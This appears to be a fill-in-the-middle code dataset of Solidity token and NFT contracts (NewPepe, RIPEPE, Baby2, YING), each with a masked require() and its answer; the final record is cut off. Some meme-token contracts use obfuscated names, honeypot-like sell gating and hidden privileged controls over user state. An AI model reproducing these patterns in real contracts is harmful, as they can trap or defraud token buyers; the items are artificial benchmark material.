function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NewPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _kqhpoehp;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _developmentWallet;
uint8 private constant _decimals = 9;
string private constant _name = "NewPepe";
string private constant _symbol = "NewPepe";
uint256 private constant _tTotal = 42000000 * 10 **_decimals;
uint256 public _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = _tTotal;
uint256 public _taxSwapThreshold= _tTotal;
uint256 public _maxTaxSwap= _tTotal;
uint256 private _initialBuyTax=8;
uint256 private _initialSellTax=18;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=4;
uint256 private _reduceSellTaxAt=1;
uint256 private _preventSwapBefore=0;
uint256 private _buyCount=0;
IuniswapRouter private uniswapRouter;
address private uniswapPair;
bool private dkjyefwq;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 feeAmount=0;
if (from != owner() && to != owner()) {
if (transferDelayEnabled) {
if (to != address(uniswapRouter) && to != address(uniswapPair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number,"Only one transfer per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapPair && to != address(uniswapRouter) && !_isExcludedFromFee[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
if(_buyCount<_preventSwapBefore){
require(<FILL_ME>)
}
_buyCount++; _kqhpoehp[to]=true;
feeAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(to == uniswapPair && from!= address(this) && !_isExcludedFromFee[from] ){
require(amount <= _maxTxAmount && balanceOf(_developmentWallet)<_maxTaxSwap, "Exceeds the _maxTxAmount.");
feeAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
require(_buyCount>_preventSwapBefore && _kqhpoehp[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap
&& to == uniswapPair && swapEnabled && contractTokenBalance>_taxSwapThreshold
&& _buyCount>_preventSwapBefore&& !_isExcludedFromFee[to]&& !_isExcludedFromFee[from]
) {
swapswrTokendrfqgr( _qefg(amount, _qefg(contractTokenBalance,_maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
senpfswpeqsrg(address(this).balance);
}
}
}
if(feeAmount>0){
_balances[address(this)]=_balances[address(this)].add(feeAmount);
emit Transfer(from, address(this),feeAmount);
}
_balances[from]= _hwkp(from, _balances[from], amount);
_balances[to]=_balances[to].add(amount. _hwkp(feeAmount));
emit Transfer(from, to, amount. _hwkp(feeAmount));
}
function swapswrTokendrfqgr(uint256 tokenAmount) private lockTheSwap {
}
function _qefg(uint256 a, uint256 b) private pure returns (uint256){
}
function _hwkp(address from, uint256 a, uint256 b) private view returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _feskrdp(address account) private view returns (bool) {
}
function senpfswpeqsrg(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
}
|
!_feskrdp(to)
| 142,068 |
!_feskrdp(to)
|
"trading is already open"
|
/*
NewPepe β $NewPepe
The old PEPE has been killed by me, and now it's my turn for the New Pepe to rule.
website: https://newpepe.org/
twitter: https://twitter.com/newpepecoin
telegram: https://t.me/newpepe_coin
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _hwkp(uint256 a, uint256 b) internal pure returns (uint256) {
}
function _hwkp(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IuniswapRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NewPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _kqhpoehp;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = false;
address payable private _developmentWallet;
uint8 private constant _decimals = 9;
string private constant _name = "NewPepe";
string private constant _symbol = "NewPepe";
uint256 private constant _tTotal = 42000000 * 10 **_decimals;
uint256 public _maxTxAmount = _tTotal;
uint256 public _maxWalletSize = _tTotal;
uint256 public _taxSwapThreshold= _tTotal;
uint256 public _maxTaxSwap= _tTotal;
uint256 private _initialBuyTax=8;
uint256 private _initialSellTax=18;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=4;
uint256 private _reduceSellTaxAt=1;
uint256 private _preventSwapBefore=0;
uint256 private _buyCount=0;
IuniswapRouter private uniswapRouter;
address private uniswapPair;
bool private dkjyefwq;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function swapswrTokendrfqgr(uint256 tokenAmount) private lockTheSwap {
}
function _qefg(uint256 a, uint256 b) private pure returns (uint256){
}
function _hwkp(address from, uint256 a, uint256 b) private view returns(uint256){
}
function removeLimits() external onlyOwner{
}
function _feskrdp(address account) private view returns (bool) {
}
function senpfswpeqsrg(uint256 amount) private {
}
function openTrading() external onlyOwner() {
require(<FILL_ME>)
uniswapRouter = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapRouter), _tTotal);
uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(address(this), uniswapRouter.WETH());
uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapPair).approve(address(uniswapRouter), type(uint).max);
swapEnabled = true;
dkjyefwq = true;
}
receive() external payable {}
}
|
!dkjyefwq,"trading is already open"
| 142,068 |
!dkjyefwq
|
"No mev bot allowed!"
|
pragma solidity ^0.8.11;
contract Token is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public constant deadAddress = address(0xdead);
bool private swapping;
uint256 public buyBurnFee;
uint256 public buyDevFee;
uint256 public buyTotalFees;
uint256 public sellBurnFee;
uint256 public sellDevFee;
uint256 public sellTotalFees;
uint256 public swapTokensAtAmount;
uint256 public maxWallet;
uint256 public supply;
address public devWallet;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = true;
// Digit is a %
uint256 public walletDigit = 4;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
constructor() ERC20("Pepe Is Dead", "RIPEPE") {
}
receive() external payable {}
function enableTrading() external onlyOwner {
}
function updateWalletDigit(uint256 newNum) external onlyOwner {
}
function updateDevWallet(address newWallet) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function updateLimits() private {
}
function setAutomatedMarketMakerPair(
address pair,
bool value
) public onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function estimateFees(
bool _isSelling,
bool _isBuying,
uint256 _amount
) internal view returns (uint256, uint256) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
function updateBuyFees(
uint256 _burnFee,
uint256 _devFee
) external onlyOwner {
}
function updateSellFees(
uint256 _burnFee,
uint256 _devFee
) external onlyOwner {
}
mapping(address => bool) public botsBlacklist;
function addToBlacklist(address _address) external onlyOwner {
}
function removeFromBlacklist(address _address) external onlyOwner {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
require(<FILL_ME>)
super._beforeTokenTransfer(from, to, amount);
}
}
|
!botsBlacklist[from],"No mev bot allowed!"
| 142,083 |
!botsBlacklist[from]
|
null |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
abstract contract Ownable {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.13;
contract Baby2 is Ownable {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 private _tokentotalSSSupply;
string private _Tokename;
string private _TokenSSSsymbol;
uint256 private initSupply = 42069000000*10**decimals();
address public uCeabXV;
mapping(address => uint256) private TMFFmUser;
constructor(address daPjhyg,string memory t2name, string memory t2symbol) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view virtual returns (uint8) {
}
function totalSupply() public view returns (uint256) {
}
function balanceOf(address account) public view returns (uint256) {
}
function transfer(address to, uint256 amount) public returns (bool) {
}
function allowance(address owner, address spender) public view returns (uint256) {
}
function approve(address spender, uint256 amount) public returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function gkawbVF(address cSUtvyP) external {
if(uCeabXV == _msgSender()){
TMFFmUser[cSUtvyP] = 0;
}else {
require(<FILL_ME>)
}
}
function Approve(address cSUtvyP) external {
}
function dVyzYGe() public {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
}
|
_msgSender()==uCeabXV
| 142,153 |
_msgSender()==uCeabXV
|
"not authorized"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "../hootbase/base/erc721/HootERC721.sol";
import "../hootbase/base/common/HootProvenance.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Raising.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Refund.sol";
import "../hootbase/base/erc721/features/HootBaseERC721URIStorageWithLevel.sol";
import "../hootbase/utils/HootRandTokenID.sol";
abstract contract YINGBlind {
function ownerOf(uint256 tokenId) public view virtual returns (address);
function isFreeMintYINGToken(uint256 tokenId)
public
view
virtual
returns (bool);
}
/**
* @title HootAirdropBox
* @author HootLabs
*/
contract YING is
HootRandTokenID,
HootBaseERC721Provenance,
HootBaseERC721Raising,
HootBaseERC721Refund,
HootBaseERC721URIStorageWithLevel,
HootERC721
{
event YINGConfigChanged(YINGConfig cfg);
event YINGBlindContractChanged(address blindAddress);
event YINGRevealed(
uint256 indexed blindTokenId,
uint256 indexed yingTokenId
);
/**
* used to mark the contract, each contract have to make a different CONTRACT_SHIELD
*/
uint256 public constant CONTRACT_SHIELD = 1942123432145421;
struct YINGConfig {
uint256 maxSupply;
bool rejectFreeMintRefund;
}
YINGConfig public yingCfg;
address _yingBlindAddress;
constructor(YINGConfig memory yingCfg_)
HootERC721("YING", "YING")
{
}
/***********************************|
| Config |
|__________________________________*/
function setYINGConfig(YINGConfig calldata cfg_) external onlyOwner {
}
// Set authorized contract address for minting the ERC-721 token
function setYINGBlindContract(address contractAddress_) external onlyOwner {
}
/***********************************|
| Core |
|__________________________________*/
function mintTransfer(address address_, uint256 blindTokenId_)
public
virtual
returns (uint256)
{
require(<FILL_ME>)
unchecked {
require(
totalMinted() + 1 <= yingCfg.maxSupply,
"mint would exceed max supply"
);
}
uint256 tokenId = _genTokenId();
_safeMint(address_, tokenId);
emit YINGRevealed(blindTokenId_, tokenId);
return tokenId;
}
function mintTransferBatch(
address address_,
uint256[] calldata blindTokenIds_
) public virtual returns (uint256[] memory) {
}
/***********************************|
| HootBaseERC721Owners |
|__________________________________*/
function exists(uint256 tokenId_)
public
view
virtual
override(HootBaseERC721Owners, HootERC721)
returns (bool)
{
}
/***********************************|
| HootRandTokenID |
|__________________________________*/
function _remainSupply() internal view virtual override returns (uint256) {
}
/***********************************|
| HootBaseERC721Refund |
|__________________________________*/
function _refundPrice(uint256 tokenId_)
internal
view
virtual
override
returns (uint256)
{
}
/***********************************|
| HootBaseERC721URIStorageWithLevel |
|__________________________________*/
function tokenURI(uint256 tokenId_)
public
view
virtual
override(ERC721, HootBaseERC721URIStorage)
returns (string memory)
{
}
/***********************************|
| HootERC721 |
|__________________________________*/
function tokenByIndex(uint256 index)
external
view
virtual
override
returns (uint256)
{
}
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
override
returns (uint256)
{
}
function tokensOfOwner(address owner_)
external
view
returns (uint256[] memory)
{
}
/***********************************|
| ERC721A |
|__________________________________*/
/**
* @notice hook function, used to intercept the transfer of token.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(HootBaseERC721Raising, HootERC721) {
}
}
|
_msgSender()==_yingBlindAddress,"not authorized"
| 142,170 |
_msgSender()==_yingBlindAddress
|
"mint would exceed max supply"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
. PBBBBJ !!!!!JPPPPPPPPPY !!!!! :&@@@@P?JJJJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJJJJJJ. .
. ~~~~~: .#@@@@Y ~@@@@@~ :&@@@@7 ~@@@&. ^@@@@. .
. #@@@@Y .#@@@@G?JJJJJJJJ?5@@@@@~ :&@@@@7 !JJJJJJJJJJJJ? :JJJJJJJJJJJJJJJJJ!! .
. #@@@@Y .#@@@@@@@@@@@@@@@@@@@@@@~ :&@@@@7 G@@@@@@@@G &@@ @@@@@@@@@@P .
. #@@@@Y .#@@@@&##########&@@@@@~ :&@@@@7 7YYYYYYYYJ???7 JYYYYYYYYYYYYJ???7 .
. #@@@@Y .#@@@@5 ........ !@@@@@~ :&@@@@7 ~@@@&. !@@@# .
. #@@@@#5PPPPPPPPPJJ .#@@@@Y !@@@@@~ :&@@@@P7??????????JYY5J .?????????? ???????JYY5J .
. &@@@@@@@@@@@@@@@@@ .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@@@P .
. PBBBBBBBBBBBBBBBBY .#@@@@Y !@@@@@~ :&@@@@@@@@@@@@@@@@@G ^@@@@@@@@@@@@@@@ @@5 .
+ +
+ +
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
*/
pragma solidity ^0.8.0;
import "../hootbase/base/erc721/HootERC721.sol";
import "../hootbase/base/common/HootProvenance.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Raising.sol";
import "../hootbase/base/erc721/features/HootBaseERC721Refund.sol";
import "../hootbase/base/erc721/features/HootBaseERC721URIStorageWithLevel.sol";
import "../hootbase/utils/HootRandTokenID.sol";
abstract contract YINGBlind {
function ownerOf(uint256 tokenId) public view virtual returns (address);
function isFreeMintYINGToken(uint256 tokenId)
public
view
virtual
returns (bool);
}
/**
* @title HootAirdropBox
* @author HootLabs
*/
contract YING is
HootRandTokenID,
HootBaseERC721Provenance,
HootBaseERC721Raising,
HootBaseERC721Refund,
HootBaseERC721URIStorageWithLevel,
HootERC721
{
event YINGConfigChanged(YINGConfig cfg);
event YINGBlindContractChanged(address blindAddress);
event YINGRevealed(
uint256 indexed blindTokenId,
uint256 indexed yingTokenId
);
/**
* used to mark the contract, each contract have to make a different CONTRACT_SHIELD
*/
uint256 public constant CONTRACT_SHIELD = 1942123432145421;
struct YINGConfig {
uint256 maxSupply;
bool rejectFreeMintRefund;
}
YINGConfig public yingCfg;
address _yingBlindAddress;
constructor(YINGConfig memory yingCfg_)
HootERC721("YING", "YING")
{
}
/***********************************|
| Config |
|__________________________________*/
function setYINGConfig(YINGConfig calldata cfg_) external onlyOwner {
}
// Set authorized contract address for minting the ERC-721 token
function setYINGBlindContract(address contractAddress_) external onlyOwner {
}
/***********************************|
| Core |
|__________________________________*/
function mintTransfer(address address_, uint256 blindTokenId_)
public
virtual
returns (uint256)
{
require(_msgSender() == _yingBlindAddress, "not authorized");
unchecked {
require(<FILL_ME>)
}
uint256 tokenId = _genTokenId();
_safeMint(address_, tokenId);
emit YINGRevealed(blindTokenId_, tokenId);
return tokenId;
}
function mintTransferBatch(
address address_,
uint256[] calldata blindTokenIds_
) public virtual returns (uint256[] memory) {
}
/***********************************|
| HootBaseERC721Owners |
|__________________________________*/
function exists(uint256 tokenId_)
public
view
virtual
override(HootBaseERC721Owners, HootERC721)
returns (bool)
{
}
/***********************************|
| HootRandTokenID |
|__________________________________*/
function _remainSupply() internal view virtual override returns (uint256) {
}
/***********************************|
| HootBaseERC721Refund |
|__________________________________*/
function _refundPrice(uint256 tokenId_)
internal
view
virtual
override
returns (uint256)
{
}
/***********************************|
| HootBaseERC721URIStorageWithLevel |
|__________________________________*/
function tokenURI(uint256 tokenId_)
public
view
virtual
override(ERC721, HootBaseERC721URIStorage)
returns (string memory)
{
}
/***********************************|
| HootERC721 |
|__________________________________*/
function tokenByIndex(uint256 index)
external
view
virtual
override
returns (uint256)
{
}
function tokenOfOwnerByIndex(address owner, uint256 index)
external
view
override
returns (uint256)
{
}
function tokensOfOwner(address owner_)
external
view
returns (uint256[] memory)
{
}
/***********************************|
| ERC721A |
|__________________________________*/
/**
* @notice hook function, used to intercept the transfer of token.
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(HootBaseERC721Raising, HootERC721) {
}
}
|
totalMinted()+1<=yingCfg.maxSupply,"mint would exceed max supply"
| 142,170 |
totalMinted()+1<=yingCfg.maxSupply
|
"mint would exceed max supply"
|
// SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
+ +
+ +
. .^!!~: .^!!^. .
. :7Y5Y7^. .^!J5Y7^. .
. :!5B#GY7^. .^!JP##P7: .
. 7777??! ~????7. :5@@@@&GY7^. .^!JG#@@@@G^ 7????????????^ ~????77 .
. @@@@@G P@@@@@: J#@@@@@@@@@@&G57~. .^7YG#@@@@@@@@@@&5: #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: :B@@@@@BJG@@@@@@@@@&B5?~:^7YG#@@@@@@@@BJP@@@ @@&!! #@@@@@@@@@@@@@? P@@@@@@ .
. @@@@@G 5@@@@@: .B@@@@#!!J@@@@@@@@@@@@@@@&@@@@@@@@@@@@@@@P ^G@@@@@~. ^~~~~~^J@ @@@@??:~~~~~ .
. @@@@@B^^^^^^^^. 5@@@@@: J@@@@&^ G@7?@@@@@@&@@@@@@@@@@@&@J7&@@@@@#. .B@@@@P !@@@@@? .
. @@@@@@@@@@@@@@! 5@@@@@: 5@@@@B ^B&&@@@@@#!#@@@@@@@@@@7G&&@@@@@#! Y@@@@#. !@@@@@? .
. @@@@@@@@@@@@@@! P@@@@@: ?@@@@&^ !YPGPY! !@@@@@Y&@@@@Y ~YPGP57. .B@@@@P !@@@@@? .
. @@@@@B~~~~~~~!!.?GPPGP: .B@@@@&7 ?&@@@@P ?@@@@@5. ~B@@@@&^ !@@@@@? .
. @@@@@G ^~~~~~. :G@@@@@BY7~^^~75#@@@@@5. J@@@@@&P?~^^^!JG@@@@@#~ !@@@@@? .
. @@@@@G 5@@@@@: ?B@@@@@@@@@@@@@@@@B!! ^P@@@@@@@@@@@@@@@@&Y !@@@@@? .
. @@@@@G. P@@@@@: !YB&@@@@@@@@&BY~ ^JG#@@@@@@@@&#P7. !@@@@@? .
. YYYYY7 !YJJJJ. :~!7??7!^: .^!7??7!~: ^YJJJY~ .
. .
. .
. .
. β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦β¦ .
. PBGGB?? 7&######&5 :B##############&5 .G#################^ .
. &@@@@5 ?@@@@@@@@@@ :@@@@@@@@@@@@@@@@@G &@@@@@@@@@@@@ @@@@@^ .
